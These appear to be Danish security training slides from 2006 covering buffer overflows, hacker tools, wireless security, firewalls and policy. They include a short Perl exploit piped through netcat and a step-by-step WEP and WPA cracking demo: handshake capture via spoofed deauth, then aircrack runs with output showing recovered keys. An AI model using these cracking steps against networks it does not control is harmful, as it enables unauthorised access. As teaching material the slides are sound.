privilege escalation er når man på en eller anden vis opnår højere privileger på et system, eksempelvis som følge af fejl i programmer der afvikles med højere privilegier. Derfor HTTPD servere på UNIX afvikles som nobody - ingen specielle rettigheder.

En angriber der kan afvikle vilkårlige kommandoer kan ofte finde en sårbarhed som kan udnyttes lokalt - få rettigheder = lille skade

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hærdning af Microsoft IIS

Internet Information Services kan hærdes ...
det kræver blot at man følger den guide som Microsoft har lavet
- og at man jævnligt følger med i opdateringer til denne guide
det anbefales at bruge de tilgængelige værktøjer som eksempelvis urlscan

IIS version 6 er mere sikker i default opsætningen - næsten alt er slået fra

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Internet er oprindeligt UNIX

Unix - the ultra short, short intro

1969 - Bell Laboratories PDP7

Unix er: en kerne og en bunke værktøjer :)

- Libraries - libc, system kald
- Sockets - local, INET
- Protokols - IP, ICMP, TCP, UDP, IPv6
- Applications - FTP, SMTP, HTTP,
- Daemons - FTPD, Sendmail, BIND, NFSD, POP3, IMAPD

Idag mange varianter: *BSD, Linux, Solaris, AIX, HP-UX, Mac OS X, ... er Windows UNIX?

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Undgå standard indstillinger

når vi scanner efter services går det nemt med at finde dem

Giv jer selv mere tid til at omkonfigurere og opdatere ved at undgå standardindstillinger

Tiden der går fra en sårbarhed annonceres på bugtraq til den bliver udnyttet er meget kort idag!

Ved at undgå standard indstillinger kan der måske opnås en lidt længere frist - inden ormene kommer

NB: ingen garanti - og det hjælper sjældent mod en dedikeret angriber

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

RPC info

som er øvelse **24** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

buffer overflows et C problem

Et buffer overflow er det der sker når man skriver flere data end der er afsat plads til i en buffer, et dataområde. Typisk vil programmet gå ned, men i visse tilfælde kan en angriber overskrive returadresser for funktionskald og overtage kontrollen.

Stack protection er et udtryk for de systemer der ved hjælp af operativsystemer, programbiblioteker og lign. beskytter stakken med returadresser og andre variable mod overskrivning gennem buffer overflows. StackGuard og Propolice er nogle af de mest kendte.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Exploits - udnyttelse af sårbarheder

exploit/exploitprogram er

- udnytter eller demonstrerer en sårbarhed
- rettet mod et specifikt system.
- kan være 5 linier eller flere sider
- Meget ofte Perl eller et C program

Eksempel:

```
#! /usr/bin/perl
# ./chars.pl | nc server 31337
print "abcdefghijkl";
print chr(237);
print chr(13);
print chr(220);
print chr(186);
print "\n";
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

local vs. remote exploits

local vs. remote angiver om et exploit er rettet mod en sårbarhed lokalt på maskinen, eksempelvis opnå højere privilegier, eller beregnet til at udnytter sårbarheder over netværk

remote root exploit - den type man frygter mest, idet det er et exploit program der når det afvikles giver angriberen fuld kontrol, root user er administrator på UNIX, over netværket.

zero-day exploits dem som ikke offentliggøres - dem som hackere holder for sig selv. Dag 0 henviser til at ingen kender til dem før de offentliggøres og ofte er der umiddelbart ingen rettelser til de sårbarheder

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hvordan laves et buffer overflow?

Security .net

Findes ved at prøve sig frem

- black box testing
- closed source
- reverse engineering

Ved Open source Findes de typisk ved at læse/analysere koden

- RATS
- flere andre

Virker typisk mod specifikke versioner

- Windows IIS 4.0 med service pack XX
- Red Hat Linux 7.3 default

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Buffer overflows

Hvis man vil lære at lave buffer overflows og exploit programmer er følgende dokumenter et godt sted at starte

Smashing The Stack For Fun And Profit Aleph One

Writing Buffer Overflow Exploits with Perl - anno 2000

Dernæst kan man bevæge sig mod Windows epxloits, integer overflows m.fl.

Følgende bog kan ligeledes anbefales: *The Shellcoder's Handbook : Discovering and Exploiting Security Holes* af Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, Sinan "noir" Eren, Neel Mehta, Riley Hassell, John Wiley & Sons, 2004

NB: bogen er avanceret og således IKKE for begyndere!

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Stack protection

Security .net

Stack protection er mere almindeligt
- med i OpenBSD current fra 2. dec 2002

Buffer overflows er almindeligt kendte

- Selv OpenSSH har haft buffer overflows
- Stack protection prøver at modvirke/fjerne muligheden for buffer overflows. arbitrary code execution bliver til ude af drift for berørte services

Propolice

http://www.openbsd.org

http://www.trl.ibm.com/projects/security/ssp/

StackGuard

http://www.immunix.org/stackguard.html

© copyright 2006 Security6.net, Henrik Lund Kramshøj

JAVA programmering

Hvorfor ikke bare bruge JAVA?

JAVA karakteristik

- automatisk garbage collection
- bytecode verifikation på
- mulighed for signeret kode
- beskyldes for at være langsomt
- platformsuafhængigt

JAVA just in Time (JIT) er sammenligneligt med kompileret C

god sikkerhedsmodel - men problemer i implementationerne

JVM - den virtuelle maskine er udsat for hacking

© copyright 2006 Security6.net, Henrik Lund Kramshøj

ASCII baserede protokoller

Diskussion:
I skal se/lære at mange protokoller i dag er *ASCII baserede* - dvs benytter kommandoer i klar tekst, GET, HEAD, QUIT osv. som gør det nemt at debugge.

Det gælder eksempelvis for:

- SMTP
- POP3
- FTP
- HTTP

man kan altså forbinde til den pågældende service og interagere

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Netcat til scripting

som er øvelse **25** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

OpenSSL forbindelser

som er øvelse **26** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hackerværktøjer

Dan Farmer og Wietse Venema skrev i 1993 artiklen
Improving the Security of Your Site by Breaking Into it

Senere i 1995 udgav de så en softwarepakke med navnet SATAN *Security Administrator Tool for Analyzing Networks* Pakken vagte en del furore, idet man jo gav alle på internet mulighed for at hacke

> We realize that SATAN is a two-edged sword - like many tools, it can be used for good and for evil purposes. We also realize that intruders (including wannabees) have much more capable (read intrusive) tools than offered with SATAN.

SATAN og ideerne med automatiseret scanning efter sårbarheder blev siden ført videre i programmer som Saint, SARA og idag findes mange hackerværktøjer og automatiserede scannere:

- Nessus, ISS scanner, Fyodor Nmap, Typhoon, ORAscan

Kilde: `http://www.fish.com/security/admin-guide-to-cracking.html`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Brug hackerværktøjer!

Hackerværktøjer - bruger I dem? - efter dette kursus gør I

portscannere kan afsløre huller i forsvaret

webtestværktøjer som crawler igennem et website og finder alle forms kan hjælpe

I vil kunne finde mange potentielle problemer proaktivt ved regelmæssig brug af disse værktøjer - også potentielle driftsproblemer

husk dog penetrationstest er ikke en sølvkugle

honeypots kan måske være med til at afsløre angreb og kompromitterede systemer hurtigere

© copyright 2006 Security6.net, Henrik Lund Kramshøj

”I only replaced index.html”

Hvad skal man gøre når man bliver hacket ?

Hvad koster et indbrud?

- Tid - antal personer der ikke kan arbejde
- Penge - oprydning, eksterne konsulenter
- Bøvl - sker altid på det værst mulige tidspunkt
- Besvær - ALT skal gennemrodes
- Tab af image/goodwill

Forensic challenge: I gennemsnit brugte deltagerne 34 timer pr person på at efterforske i rigtige data fra et indbrud! angriberen brugte ca. 30 min

Kilder: `http://project.honeynet.org/challenge/results/` `http://packetstorm.securify.com/docs/hack/i.only.replaced.index.html.txt`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Recovering from break-ins

DU KAN IKKE HAVE TILLID TIL NOGET

På CERT website kan man finde mange gode ressourcer omkring sikkerhed og hvad man skal gøre med kompromiterede servere

Eksempelvis listen over dokumenter fra adressen:
`http://www.cert.org/nav/recovering.html`

- The Intruder Detection Checklist
- Windows NT Intruder Detection Checklist
- The UNIX Configuration Guidelines
- Windows NT Configuration Guidelines
- The List of Security Tools
- Windows NT Security and Configuration Resources

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Nessus scanning

som er øvelse **27** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Wireless

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Trådløse teknologier 802.11

802.11 er arbejdsgruppen under IEEE

De mest kendte standarder idag indenfor trådløse teknologier:

- 802.11b 11Mbps versionen
- 802.11g 54Mbps versionen

Der er proprietære versioner 22Mbps og den slags
- det anbefales IKKE at benytte disse da det giver vendor lock-in - man bliver låst fast

Kilde: `http://grouper.ieee.org/groups/802/11/index.html`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

802.11 modes og frekvenser

Access point kører typisk i *access point mode* også kaldet infrastructure mode - al trafik går via AP

Alternativt kan wireless kort oprette ad-hoc netværk - hvor trafikken går direkte mellem netkort

Frekvenser op til kanal 11 og 12+13 i DK/EU

Helst 2 kanaler spring for 802.11b AP der placeres indenfor rækkevidde

Helst 4 kanaler spring for 802.11g AP der placeres indenfor rækkevidde

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Eksempel på netværk med flere AP'er

(802.11 uden WDS)

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Eksempel på netværk med flere AP'er

(802.11 uden WDS)

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Wireless Distribution System WDS

(802.11 med WDS)

Se også: http://en.wikipedia.org/wiki/Wireless_Distribution_System

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Er trådløse netværk interessante?

Sikkerhedsproblemer i de trådløse netværk er mange

- Fra lavt niveau - eksempelvis ARP, 802.11
- dårlige sikringsmekanismer - WEP
- dårligt udstyr - mange fejl
- usikkkerhed om implementering og overvågning

Trådløst udstyr er blevet meget billigt!

Det er et krav fra brugerne - trådløst er lækkert

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Konsekvenserne

- Værre end Internetangreb - anonymt
- Kræver ikke fysisk adgang til lokationer
- Konsekvenserne ved sikkerhedsbrud er generelt større
- Typisk får man direkte LAN eller Internet adgang!

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Værktøjer

Alle bruger nogenlunde de samme værktøjer, måske forskellige mærker

- Wirelessscanner - Kismet og netstumbler
- Wireless Injection - typisk på Linux
- ...
- Aircrack-ng

Jeg anbefaler Auditor Security Collection og BackTrack boot CD'erne

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Konsulentens udstyr wireless

Laptop med PC-CARD slot

Trådløse kort Atheros, de indbyggede er ofte ringe ;-)

Access Points - jeg anbefaler Airport Express

Antenner hvis man har lyst

Bøger:

- *Real 802.11 security*
- Se oversigter over bøger og værktøjer igennem præsentationen:

Internetressourcer:

- Auditor Security Collection - CD image med Linux+værktøjer
- Packetstorm wireless tools `http://packetstormsecurity.org/wireless/`
- *Beginner's Guide to Wireless Auditing* David Maynor `http://www.securityfocus.com/infocus/1877?ref=rss`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Typisk brug af 802.11 udstyr

Wireless Access Point

netværket - typisk Ethernet

et access point - forbindes til netværket

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Basal konfiguration

Security .net

Når man tager fat på udstyr til trådløse netværk opdager man:

SSID - nettet skal have et navn

frekvens / kanal - man skal vælge en kanal, eller udstyret vælger en automatisk

der er nogle forskellige metoder til sikkerhed

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Trådløs sikkerhed

- Trådløs sikkerhed - WPA og WPA2
- Nem konfiguration
- Nem konfiguration af Access Point

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Wireless networking sikkerhed i 802.11b

Sikkerheden er baseret på nogle få forudsætninger

- SSID - netnavnet
- WEP *kryptering* - Wired Equivalent Privacy
- måske MAC flitrering, kun bestemte kort må tilgå accesspoint

Til gengæld er disse forudsætninger ofte ikke tilstrækkelige ...

- WEP er måske *ok* til visse små hjemmenetværk
- WEP er baseret på en DELT hemmelighed som alle stationer kender
- nøglen ændres sjældent, og det er svært at distribuere en ny

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Forudsætninger

Til gengæld er disse forudsætninger ofte ikke tilstrækkelige ...

Hvad skal man beskytte?

Hvordan kan sikkerheden omgås?

Mange firmaer og virksomheder stille forskellige krav til sikkerheden - der er ikke en sikkerhedsmekanisme der passer til alle

© copyright 2006 Security6.net, Henrik Lund Kramshøj

SSID - netnavnet

Service Set Identifier (SSID) - netnavnet

32 ASCII tegn eller 64 hexadecimale cifre

Udstyr leveres typisk med et standard netnavn

- Cisco - tsunami
- Linksys udstyr - linksys
- Apple Airport, 3Com m.fl. - det er nemt at genkende dem

SSID kaldes også for NWID - network id

SSID broadcast - udstyr leveres oftest med broadcast af SSID

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Demo: wardriving med stumbler programmer

man tager et trådløst netkort og en bærbar computer og noget software:

- Netstumbler - Windows `http://www.netstumbler.com`
- dstumbler - UNIX `http://www.dachb0den.com/projects/dstumbler.html`
- iStumbler - Mac `http://www.istumbler.net/`
- Kismet ... mange andre

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Start på demo - wardriving

- Almindelige laptops bruges til demo
- Der startes et *access point*

© copyright 2006 Security6.net, Henrik Lund Kramshøj

MAC filtrering

De fleste netkort tillader at man udskifter sin MAC adresse

MAC adressen på kortene er med i alle pakker der sendes

MAC adressen er aldrig krypteret, for hvordan skulle pakken så nå frem?

MAC adressen kan derfor overtages, når en af de tilladte stationer forlader området ...

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Resultater af wardriving

Hvad opdager man ved wardriving?

- at WEP IKKE krypterer hele pakken
- at alle pakker indeholder MAC adressen
- WEP nøglen skifter sjældent
- ca. 2/3 af de netværk man finder har ikke WEP slået til - og der er fri og uhindret adgang til Internet

Man kan altså lytte med på et netværk med WEP, genbruge en anden maskines MAC adresse - og måske endda bryde WEP krypteringen.

Medmindre man kender virksomheden og WEP nøglen ikke er skiftet ... det er besværligt at skifte den, idet alle stationer skal opdateres.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Storkøbenhavn

Informationsindsamling

Det vi har udført er informationsindsamling

Indsamlingen kan være aktiv eller passiv indsamling i forhold til målet for angrebet

passiv kunne være at lytte med på trafik eller søge i databaser på Internet

aktiv indsamling er eksempelvis at sende ICMP pakker og registrere hvad man får af svar

© copyright 2006 Security6.net, Henrik Lund Kramshøj

WEP kryptering

WEP *kryptering* - med nøgler der specificeres som tekst eller hexadecimale cifre

typisk 40-bit, svarende til 5 ASCII tegn eller 10 hexadecimale cifre eller 104-bit 13 ASCII tegn eller 26 hexadecimale cifre

WEP er baseret på RC4 algoritmen der er en *stream cipher* lavet af Ron Rivest for RSA Data Security

© copyright 2006 Security6.net, Henrik Lund Kramshøj

De første fejl ved WEP

Oprindeligt en dårlig implementation i mange Access Points

Fejl i krypteringen - rettet i nyere firmware

WEP er baseret på en DELT hemmelighed som alle stationer kender

Nøglen ændres sjældent, og det er svært at distribuere en ny

© copyright 2006 Security6.net, Henrik Lund Kramshøj

WEP som sikkerhed

WEP er *ok* til et privat hjemmenetværk

WEP er for simpel til et større netværk - eksempelvis 20 brugere

Firmaer bør efter min mening bruge andre sikkerhedsforanstaltninger

Hvordan udelukker man en bestemt bruger?

© copyright 2006 Security6.net, Henrik Lund Kramshøj

WEP sikkerhed

AirSnort is a wireless LAN (WLAN) tool which recovers encryption keys. AirSnort operates by passively monitoring transmissions, computing the encryption key when enough packets have been gathered.

802.11b, using the Wired Equivalent Protocol (WEP), is crippled with numerous security flaws. Most damning of these is the weakness described in " Weaknesses in the Key Scheduling Algorithm of RC4 " by Scott Fluhrer, Itsik Mantin and Adi Shamir. Adam Stubblefield was the first to implement this attack, but he has not made his software public. AirSnort, along with WEPCrack, which was released about the same time as AirSnort, are the first publicly available implementaions of this attack. http://airsnort.shmoo.com/

© copyright 2006 Security6.net, Henrik Lund Kramshøj

major cryptographic errors

weak keying - 24 bit er allerede kendt - 128-bit = 104 bit i praksis

small IV - med kun 24 bit vil hver IV blive genbrugt oftere

CRC-32 som intergritetscheck er ikke *stærkt* nok kryptografisk set

Authentication gives pad - giver fuld adgang - hvis der bare opdages *encryption pad* for en bestemt IV. Denne IV kan så bruges til al fremtidig kommunikation

Konklusion: Kryptografi er svært

© copyright 2006 Security6.net, Henrik Lund Kramshøj

WEP cracking - airodump og aircrack

airodump - opsamling af krypterede pakker

aircrack - statistisk analyse og forsøg på at finde WEP nøglen

Med disse værktøjer er det muligt at knække *128-bit nøgler*!

Blandt andet fordi det reelt er 104-bit nøgler ☺

tommelfingerregel - der skal opsamles mange pakker ca. 500.000 er godt

Links:

`http://www.cr0.net:8040/code/network/aircrack/` aircrack

`http://www.securityfocus.com/infocus/1814` WEP: Dead Again

© copyright 2006 Security6.net, Henrik Lund Kramshøj

airodump afvikling

Når airodump kører opsamles pakkerne
samtidig vises antal initialisationsvektorer IV's:

BSSID	CH	MB	ENC	PWR	Packets	LAN IP / # IVs	ESSID
00:03:93:ED:DD:8D	6	11		209	**801963**	**540180**	wanlan

NB: dataopsamlingen er foretaget på 100% opdateret Mac udstyr

© copyright 2006 Security6.net, Henrik Lund Kramshøj

aircrack - WEP cracker

```
$ aircrack -n 128 -f 2 aftendump-128.cap
                                aircrack 2.1
* Got  540196! unique IVs | fudge factor = 2
* Elapsed time [00:00:22] | tried 12 keys at 32 k/m
KB    depth   votes
 0    0/  1   CE(  45) A1(  20) 7E(  15) 98(  15) 72(  12) 82(  12)
 1    0/  2   62(  43) 1D(  24) 29(  15) 67(  13) 94(  13) F7(  13)
 2    0/  1   B6( 499) E7(  18) 8F(  15) 14(  13) 1D(  12) E5(  10)
 3    0/  1   4E( 157) EE(  40) 29(  39) 15(  30) 7D(  28) 61(  20)
 4    0/  1   93( 136) B1(  28) 0C(  15) 28(  15) 76(  15) D6(  15)
 5    0/  2   E1(  75) CC(  45) 39(  31) 3B(  30) 4F(  16) 49(  13)
 6    0/  2   3B(  65) 51(  42) 2D(  24) 14(  21) 5E(  15) FC(  15)
 7    0/  2   6A( 144) 0C(  96) CF(  34) 14(  33) 16(  33) 18(  27)
 8    0/  1   3A( 152) 73(  41) 97(  35) 57(  28) 5A(  27) 9D(  27)
 9    0/  1   F1(  93) 2D(  45) 51(  29) 57(  27) 59(  27) 16(  26)
10    2/  3   5B(  40) 53(  30) 59(  24) 2D(  15) 67(  15) 71(  12)
11    0/  2   F5(  53) C6(  51) F0(  21) FB(  21) 17(  15) 77(  15)
12    0/  2   E6(  88) F7(  81) D3(  36) E2(  32) E1(  29) D8(  27)
        KEY FOUND! [ CE62B64E93E13B6A3AF15BF5E6 ]
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hvor lang tid tager det?

Opsamling a data - ca. en halv time på 802.11b ved optimale forhold

Tiden for kørsel af aircrack fra auditor CD på en Dell CPi 366MHz Pentium II laptop:

```
$ time aircrack -n 128 -f 2 aftendump-128.cap
...
real    5m44.180s   user  0m5.902s     sys  1m42.745s
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hvor lang tid tager det?

Opsamling a data - ca. en halv time på 802.11b ved optimale forhold

Tiden for kørsel af aircrack fra auditor CD på en Dell CPi 366MHz Pentium II laptop:

```
$ time aircrack -n 128 -f 2 aftendump-128.cap
...
real    5m44.180s   user  0m5.902s     sys  1m42.745s
```

Tiden for kørsel af aircrack på en moderne 1.6GHz CPU med almindelig laptop disk tager typisk mindre end 60 sekunder

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Erstatning for WEP- WPA

Det anbefales at bruge:

Kendte VPN teknologier eller WPA

baseret på troværdige algoritmer

implementeret i professionelt udstyr

fra troværdige leverandører

udstyr der vedligeholdes og opdateres

Man kan måske endda bruge de eksisterende løsninger - fra hjemmepc adgang, mobil adgang m.v.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

RADIUS

RADIUS er en protokol til autentificering af brugere op mod en fælles server

Remote Authentication Dial In User Service (RADIUS)

RADIUS er beskrevet i RFC-2865

RADIUS kan være en fordel i større netværk med

- dial-in
- administration af netværksudstyr
- trådløse netværk
- andre RADIUS kompatible applikationer

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Erstatninger for WEP

Der findes idag andre metoder til sikring af trådløse netværk

802.1x Port Based Network Access Control

WPA - Wi-Fi Protected Access)
WPA = 802.1X + EAP + TKIP + MIC

nu WPA2

> WPA2 is based on the final IEEE 802.11i amendment to the 802.11 standard and is eligible for FIPS 140-2 compliance.

Kilde: http://www.wifialliance.org/OpenSection/protected_access.asp

© copyright 2006 Security6.net, Henrik Lund Kramshøj

WPA eller WPA2?

WPA2 is based upon the Institute for Electrical and Electronics Engineers (IEEE) 802.11i amendment to the 802.11 standard, which was ratified on July 29, 2004.

Q: How are WPA and WPA2 similar?
A: Both WPA and WPA2 offer a high level of assurance for end-users and network administrators that their data will remain private and access to their network restricted to authorized users. Both utilize 802.1X and Extensible Authentication Protocol (EAP) for authentication. Both have Personal and Enterprise modes of operation that meet the distinct needs of the two different consumer and enterprise market segments.
Q: How are WPA and WPA2 different?
A: WPA2 provides a **stronger encryption mechanism** through **Advanced Encryption Standard (AES)**, which is a requirement for some corporate and government users.

Kilde: http://www.wifialliance.org WPA2 Q and A

© copyright 2006 Security6.net, Henrik Lund Kramshøj

WPA Personal eller Enterprise

Personal - en delt hemmelighed, preshared key

Enterprise - brugere valideres op mod fælles server

Hvorfor er det bedre?

- Flere valgmuligheder - passer til store og små
- WPA skifter den faktiske krypteringsnøgle jævnligt - TKIP
- Initialisationsvektoren (IV) fordobles 24 til 48 bit
- Imødekommer alle kendte problemer med WEP!
- Integrerer godt med andre teknologier - RADIUS

- EAP - Extensible Authentication Protocol - individuel autentifikation
- TKIP - Temporal Key Integrity Protocol - nøgleskift og integritet
- MIC - Message Integrity Code - Michael, ny algoritme til integritet

© copyright 2006 Security6.net, Henrik Lund Kramshøj

WPA cracking

Nu skifter vi så til WPA og alt er vel så godt?

© copyright 2006 Security6.net, Henrik Lund Kramshøj

WPA cracking

Security .net

Nu skifter vi så til WPA og alt er vel så godt?

Desværre ikke!

Du skal vælge en laaaaang passphrase, ellers kan man sniffe WPA handshake når en computer går ind på netværket!

Med et handshake kan man med aircrack igen lave off-line bruteforce angreb!

© copyright 2006 Security6.net, Henrik Lund Kramshøj

WPA cracking demo

Vi konfigurerer AP med Henrik42 som WPA-PSK/passhrase

Vi finder netværk kismet eller airodump

Vi starter airodump mod specifik kanal

Vi spoofer deauth og opsamler WPA handshake

Vi knækker WPA :-)

Brug manualsiderne for programmerne i aircrack-ng pakken!

© copyright 2006 Security6.net, Henrik Lund Kramshøj

WPA cracking med aircrack - start

```
slax ~ # aircrack-ng -w dict wlan-test.cap
Opening wlan-test.cap
Read 1082 packets.

#  BSSID              ESSID           Encryption

1  00:11:24:0C:DF:97  wlan            WPA (1 handshake)
2  00:13:5F:26:68:D0  Noea            No data - WEP or WPA
3  00:13:5F:26:64:80  Noea            No data - WEP or WPA
4  00:00:00:00:00:00                  Unknown

Index number of target network ?  1
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

WPA cracking med aircrack - start

```
            [00:00:00] 0 keys tested (0.00 k/s)

                       KEY FOUND! [ Henrik42 ]

Master Key     : 8E 61 AB A2 C5 25 4D 3F 4B 33 E6 AD 2D 55 6F 76
                 6E 88 AC DA EF A3 DE 30 AF D8 99 DB F5 8F 4D BD
Transcient Key : C5 BB 27 DE EA 34 8F E4 81 E7 AA 52 C7 B4 F4 56
                 F2 FC 30 B4 66 99 26 35 08 52 98 26 AE 49 5E D7
                 9F 28 98 AF 02 CA 29 8A 53 11 EB 24 0C B0 1A 0D
                 64 75 72 BF 8D AA 17 8B 9D 94 A9 31 DC FB 0C ED

EAPOL HMAC     : 27 4E 6D 90 55 8F 0C EB E1 AE C8 93 E6 AC A5 1F
```

Min Thinkpad X31 med 1.6GHz Pentium M knækker ca. 150 Keys/sekund

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Tools man bør kende

- BSD Airtools http://www.dachb0den.com/projects/bsd-airtools.html
- Kismet http://www.kismetwireless.net/
- Airsnort http://airsnort.shmoo.com/ læs pakkerne med WEP kryptering
- wepcrack http://wepcrack.sourceforge.net/ - knæk krypteringen i WEP
- Airsnarf http://airsnarf.shmoo.com/ - lav dit eget AP parallelt med det rigtige og snif hemmeligheder
- Wireless Scanner http://www.iss.net/ - kommercielt
- Dette er et lille uddrag af programmer
  Se også http://packetstormsecurity.org/wireless/

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Når adgangen er skabt

Security .net

Så går man igang med de almindelige værktøjer

Fyodor Top 100 Network Security Tools `http://www.sectools.org`

Forsvaret er som altid - flere lag af sikkerhed!

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Infrastrukturændringer

Sådan bør et access point forbindes til netværket

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Anbefalinger mht. trådløse netværk

- Brug noget tilfældigt som SSID - netnavnet
- Brug ikke WEP til virksomhedens netværk
  - men istedet en VPN løsning med individuel autentificering eller WPA
- NB: WPA Personal/PSK kræver passphrase på +40 tegn!
- Placer de trådløse adgangspunkter hensigtsmæssigt i netværket - så de kan overvåges
- Lav et sæt regler for brugen af trådløse netværk - hvor må medarbejdere bruge det?
- Se eventuelt pjecerne *Beskyt dit trådløse Netværk* fra Ministeriet for Videnskab, Teknologi og Udvikling
  http://www.videnskabsministeriet.dk/

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hjemmenetværk for nørder

Lad være med at bruge et wireless-kort i en PC til at lave AP, brug et AP

Husk et AP kan være en router, men den kan ofte også blot være en bro

Brug WPA og overvej at lave en decideret DMZ til WLAN

Placer AP hensigtsmæddigt og gerne højt, oppe på et skab eller lignende

© copyright 2006 Security6.net, Henrik Lund Kramshøj

firewalls

Basalt set et netværksfilter - det yderste fæstningsværk

Indeholder typisk:

- Grafisk brugergrænseflade til konfiguration - er det en fordel?
- TCP/IP filtermuligheder - pakkernes afsender, modtager, retning ind/ud, porte, protokol, ...
- kun IPv4 for de kommercielle firewalls
- både IPv4 og IPv6 for Open Source firewalls: IPF, OpenBSD PF, Linux firewalls, ...
- foruddefinerede regler/eksempler - er det godt hvis det er nemt at tilføje/åbne en usikker protokol?
- typisk NAT funktionalitet indbygget
- typisk mulighed for nogle serverfunktioner: kan agere DHCP-server, DNS caching server og lignende

En router med Access Control Lists - ACL kaldes ofte netværksfilter, mens en dedikeret maskine kaldes firewall - funktionen er reelt den samme - der filtreres trafik

© copyright 2006 Security6.net, Henrik Lund Kramshøj

firewall regelsæt eksempel

```
# hosts
router="217.157.20.129"
webserver="217.157.20.131"
# Networks
homenet=" 192.168.1.0/24, 1.2.3.4/24 "
wlan="10.0.42.0/24"
wireless=wi0

# things not used
spoofed=" 127.0.0.0/8, 172.16.0.0/12, 10.0.0.0/16, 255.255.255.255/32 "

block in all # default block anything
# loopback and other interface rules
pass out quick on lo0 all
pass in quick on lo0 all

# egress and ingress filtering - disallow spoofing, and drop spoofed
block in quick from $spoofed to any
block out quick from any to $spoofed

pass in on $wireless proto tcp from $wlan to any port = 22
pass in on $wireless proto tcp from $homenet to any port = 22
pass in on $wireless proto tcp from any to $webserver port = 80

pass out quick proto tcp  from $homenet to any flags S/S keep state
pass out quick proto udp  from $homenet to any         keep state
pass out quick proto icmp from $homenet to any         keep state
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

netdesign - med firewalls - 100% sikkerhed?

Hvor skal en firewall placeres for at gøre størst nytte?

Hvad er forudsætningen for at en firewall virker?
At der er konfigureret et sæt fornuftige regler!

Hvor kommer reglerne fra? Sikkerhedspolitikken!

Kilde: Billedet er fra Marcus Ranum The ULTIMATELY Secure Firewall

© copyright 2006 Security6.net, Henrik Lund Kramshøj

IPsec

Sikkerhed i netværket

RFC-2401 Security Architecture for the Internet Protocol

RFC-2402 IP Authentication Header (AH)

RFC-2406 IP Encapsulating Security Payload (ESP)

RFC-2409 The Internet Key Exchange (IKE) - dynamisk keying

Både til IPv4 og IPv6

MANDATORY i IPv6! - et krav hvis man implementerer fuld IPv6 support

god præsentation på http://www.hsc.fr/presentations/ike/

Der findes IKEscan til at scanne efter IKE porte/implementationer

http://www.nta-monitor.com/ike-scan/index.htm

© copyright 2006 Security6.net, Henrik Lund Kramshøj

IPsec er ikke simpelt!

Kilde: http://www.hsc.fr/presentations/ike/

Husk altid de fundamentale principper indenfor sikkerhed

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Security holes... Who cares?

Figure 1 Vulnerable servers over time

Forhistorien:

- OpenSSL sårbarheder fra juli 2002
- Slapper worm fra september 2002
- Hvormange opdaterer for sårbarheder og hvornår?

Kilde: Eric Rescorla, ”Security holes... Who cares?”
http://www.rtfm.com/upgrade.pdf

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Definition: sikkerhedspolitik

Definition: Et sæt regler for virksomheden

Definition: it-sikkerhedspolitik
en politik der er begrænset til IT-områderne i virksomheden

- kan være en del af CYA strategi, cover your assets ;-)

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Software og e-mail politik

Manglende e-mail politik: brevhemmelighed er beskrevet i straffeloven, og e-mail er omfattet! Uberettiget fyring kan ligeledes være dyrt for virksomheden

Besøg fra Antipiratgruppen - kan resultere i dummebøder eller fyring

Brug af Internet - er der båndbredde til at arbejde, hvis alle sidder og ser Tour de France på Internet?

Der skal være et sæt regler - så medarbejdere ved hvad der forventes af dem

Der skal ofte udføres en risikoanalyse for at sikre at alle områder dækkes med sikkerhedspolitikken

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Sikkerhedsteknologier

Brug alt hvad I kan overkomme:

- Firewalls: IPfilter, IPtables, OpenBSD PF
- Kryptografi
- Secure Shell - SSH
- betragt Telnet, Rlogin, Rsh, Rexec som døde!
